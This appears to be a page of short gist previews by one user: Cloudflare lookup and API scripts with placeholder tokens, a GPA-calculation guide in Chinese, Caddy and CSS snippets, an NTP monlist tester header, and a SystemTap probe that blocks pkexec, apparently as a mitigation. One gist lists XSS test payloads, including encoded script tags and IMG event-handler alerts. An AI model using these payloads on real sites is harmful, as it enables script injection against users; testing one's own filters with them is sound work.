BirkhoffLee

#!/usr/bin/env bash

lookup() {
  ips=$(dig @1.1.1.1 +short $1.cdn.cloudflare.net)

  echo "$1:"
  for ip in $ips; do
    curl -s --resolve $1:443:$ip https://$1/cdn-cgi/trace | grep "colo="
  done
  echo ""

BirkhoffLee

#!/bin/bash

TOKEN="xxxxxxxxxxxxxxxxxxx"
ZONE_ID=2222222222222222222222222

# EMAIL=me@gmail.com
# KEY=11111111111111111111111111
# Replace with 
#     -H "X-Auth-Email: ${EMAIL}" \
#     -H "X-Auth-Key: ${KEY}" \

BirkhoffLee

使用步驟

1. 把 main.js 存起來
2. 在同個資料夾跑 npm install xlsx
3. 在教務系統載成績報表，然後把報表的 path 放進 main.js 裡面（89 行）

4. $ node main.js
   [
     [ 2, 4.3 ], [ 2, 4 ],   [ 2, 4 ],
     [ 2, 3.7 ], [ 3, 4 ],   [ 3, 4 ],

[ 3, 3.7 ], [ 1, 4.3 ], [ 3, 1 ],

BirkhoffLee

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

BirkhoffLee

:3000 {
  root * /app
  try_files {path}.html {path} /index.html
  file_server
  header {
    -server
  }
}

BirkhoffLee

58 bytes of CSS to look great nearly everywhere

When making this website, i wanted a simple, reasonable way to make it look good on most displays. Not counting any minimization techniques, the following 58 bytes worked well for me:

main {
  max-width: 38rem;
  padding: 2rem;
  margin: auto;
}

BirkhoffLee

References:

• rbenv/ruby-build#1505 (comment)
• https://bugs.ruby-lang.org/issues/17486

BirkhoffLee

#!/usr/bin/env python
#
# Requirements: ntplib (easy_install ntplib)
#
# How to use it using GNU parallel (to run in //):
#
#  cut -f1 -d";" ntp-monlist-servers.csv | parallel "python test-ntp.py --ip {1}"
#
# Software is free software released under the "Modified BSD license"
#

BirkhoffLee

probe process("/usr/bin/pkexec").function("main")  {
        if (cmdline_arg(1) == "")
                raise(9);
}

BirkhoffLee

Nix        15 hrs 15 mins ████████▍░░░░░░░░░░░░  40.3%
Cheetah    10 hrs 14 mins █████▋░░░░░░░░░░░░░░░  27.1%
PHP        3 hrs 17 mins  █▊░░░░░░░░░░░░░░░░░░░   8.7%
Other      3 hrs 11 mins  █▊░░░░░░░░░░░░░░░░░░░   8.4%
JavaScript 1 hr 18 mins   ▋░░░░░░░░░░░░░░░░░░░░   3.5%